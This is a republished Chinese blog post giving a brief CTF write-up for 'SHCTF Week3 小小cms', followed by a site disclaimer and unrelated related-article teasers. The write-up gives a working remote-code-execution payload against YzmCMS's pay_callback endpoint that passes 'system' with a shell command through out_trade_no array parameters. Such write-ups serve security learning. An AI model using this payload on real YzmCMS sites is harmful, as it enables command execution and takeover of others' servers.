shctf[Week3] 小小cms

news/2024/10/24 20:54:33/文章来源:https://www.cnblogs.com/c1432/p/18500454

看到首页面
了解到YzmCMS的版本，上网搜搜这个版本存在的漏洞
发现存在任意函数调用RCE的漏洞
https://blog.csdn.net/shelter1234567/article/details/138524342
根据文章直接抄payload，进入/pay/index/pay_callback目录下

下面cat /flag即可，最终的payload为
out_trade_no[0]=eq&out_trade_no[1]=cat /flag&out_trade_no[2]=system

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/821357.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

数据采集与融合技术实践作业二

数据采集与融合技术实践作业二

作业①：7日天气预报爬取 1. 作业代码与实现步骤 我们将在中国气象网爬取北京、上海、广州的7日天气预报，并将数据保存到数据库中。以下是实现步骤。 步骤详解打开中国天气网：在浏览器中访问中国天气网。搜索城市：输入“北京”并打开其天气页面。检查网页结构：使用浏览器的…
阅读更多...
clickhouse安装部署使用

clickhouse安装部署使用

一、安装 下载地址https://packages.clickhouse.com/rpm/stable/上传文件到Linux中开始安装1、进入到文件所在目录cd /usr/local/soft/clickhouse-rpms/2、使用rpm命令安装sudo rpm -ivh *.rpm3、查看状态systemctl status clickhouse-server4、启动服务systemctl start clickh…
阅读更多...
Clickhouse的安装

Clickhouse的安装

一、官网下载 下载地址： https://packages.clickhouse.com/rpm/stable/ 一共需要下载这下面四个 注：一个页面没有的需要点击next进入下一个界面二、下载之后使用Xterminal打开所需要建立连接的虚拟机出现如下界面之后说明连接成功三、创建一个自己的文件夹，将先前下好的rpm文…
阅读更多...
Oracle 排序

Oracle 排序

在Oracle中，使用 ORDER BY 语法按字符串进行排序 ASC或DESC关键字：指定升序或降序排序，默认情况下，排序是升序的。 NULLS FIRST 或 NULLS LAST 关键字：指定对空值的处理方式，默认情况下，空值排在最后。 -- 按升序排序，空值排在最后 SELECT column_name FROM table_name…
阅读更多...
代码随想录算法训练营第24天（补第12天）| 递归遍历，迭代遍历，统一迭代

代码随想录算法训练营第24天（补第12天）| 递归遍历，迭代遍历，统一迭代

前置知识 二叉树的定义： struct BNode{int val;BNode* lchild;BNode* rchild;BNode():lchild(NULL),rchild(NULL){}BNode(int val){val=val;lchild=rchild=NULL;} };递归遍历文章链接：https://programmercarl.com/二叉树的递归遍历.html#思路 题目链接：https://leetcode.cn/…
阅读更多...
20222403 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222403 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1. 实验内容 1.1.实践内容 (1)正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 veil，加壳工具 使用C + shellcode编程(2)通过组合应用各种技术实现恶意代码免杀 如果成功实现了免杀的，简单语…
阅读更多...
Camunda中的Execution listeners和Task listeners

Camunda中的Execution listeners和Task listeners

在Camunda中大多数节点元素都可以设置执行监听器（Execution listeners），例如事件、顺序流、用户任务、服务任务和网关。其中用户任务除了可以设置执行监听器，还可以设置独有的用户任务监听器，相比于执行监听器，用户任务监听器可以设置更加细粒度的事件类型。 下面针对执行…
阅读更多...
AMD Ryzen 5700X黑苹果运行Docker和Virtualization(虚拟化)

AMD Ryzen 5700X黑苹果运行Docker和Virtualization(虚拟化)

最近把我的AMD Ryzen黑苹果系统升级到Sequoia 15.01 发现virtualbox不能用了，遂重新分区又安装了一个Sonoma 14.7AMD Ryzen Run Virtualization展示 Virtualization Limit系统要求： BigSur <= 当前运行系统版本 <= Sonoma 虚拟化软件： virtualbox 6.1.50 安全要求：关…
阅读更多...
GISBox对比CesiumLab，哪款GIS工具箱更适合你？

GISBox对比CesiumLab，哪款GIS工具箱更适合你？

在地理信息系统（GIS）领域，越来越多的用户开始关注GIS工具箱的选择，其中GISBox和CesiumLab是两款备受推崇的产品。那么，哪一款更适合你的需求呢？本文将从功能、使用体验和应用场景等方面，对GISBox和CesiumLab进行详细对比，帮助你做出更明智的选择。 GISBox：功能强大，简…
阅读更多...
一，超级详细的ClickHouse安装部署文档（RPM版安装）,新手小白一看就能学会!!!

一，超级详细的ClickHouse安装部署文档（RPM版安装）,新手小白一看就能学会!!!

ClickHouse安装部署博客笔记（RPM版） 前言 ClickHouse是一个高性能的列式数据库，专为在线分析处理（OLAP）而设计。它能够实时生成分析数据报告，并支持对大数据进行快速的查询。本文将带你一步步完成ClickHouse的单机安装部署，确保你能够顺利上手这个强大的数据库系统。 第…
阅读更多...
STM32配置HID设备时主机识别不到力反馈的解决办法

STM32配置HID设备时主机识别不到力反馈的解决办法

这个问题困扰我快一个星期了，我仔仔细细阅读了Device Class Definition for Physical Interface Devices (PID) Version 1.0和HID Usage Tables FOR Universal Serial Bus (USB)。 都没有找到识别不到力反馈的原因，按理说配置完报告描述符就能显示力反馈了，但是我这边死活识…
阅读更多...
VSCode Java环境配置

VSCode Java环境配置

JDK 部分 1. 下载 java jdk jdk23下载地址 windows 选择 Windows / x64 zip 文件 2. 解压 将 zip 文件移动到你想要的路径下并解压，如： E:\openjdk-23.0.1_windows-x64_bin 解压后复制 bin 文件路径，如： E:\openjdk-23.0.1_windows-x64_bin\jdk-23.0.1\bin 3. 配置环境变…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023